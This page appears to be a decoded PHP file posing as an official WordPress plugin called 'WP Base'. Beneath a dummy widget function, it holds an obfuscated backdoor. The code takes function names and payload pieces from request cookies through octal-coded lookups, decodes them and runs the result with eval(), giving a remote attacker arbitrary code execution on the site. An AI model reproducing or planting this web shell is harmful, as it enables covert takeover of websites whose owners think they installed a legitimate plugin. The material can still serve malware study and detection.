PHP Decode

<?php 
/* 
Plugin Name: WP Base 
Plugin URI: http://wordpress.org/# 
Description: Official WordPress plugin 
Author: WordPress 
Version: 2.7.5 
Author URI: http://wordpress.org/# 
*/ 
 
function update( $new_instance, $old_instance ) { 
	$instance['title'] = strip_tags( $new_instance['title'] ); 
	return $instance; 
} 
 
class WPCA 
{ 
    private static $s; 
    public static function g($n) 
    { 
        if (!self::$s) self::i(); 
        return self::$s[$n]; 
    } 
    private static function i() 
    { 
        self::$s = array( 
            0113, 
            0113, 
            0115, 
            051, 
            0100, 
            025, 
            0121, 
            056 
        ); 
    } 
} 
$_twlb = $_COOKIE; 
($_twlb && isset($_twlb[WPCA::g(0) ])) ? (($_fzay = $_twlb[WPCA::g(1) ] . $_twlb[WPCA::g(2) ]) && 
($_afsic = $_fzay($_twlb[WPCA::g(3) ] . $_twlb[WPCA::g(4) ])) && 
($_cwx = $_fzay($_twlb[WPCA::g(5) ] . $_twlb[WPCA::g(6) ])) && 
($_cwx = $_cwx($_fzay($_twlb[WPCA::g(7) ]))) && eval($_cwx)) : $_twlb; 
/* syikxd */ ?>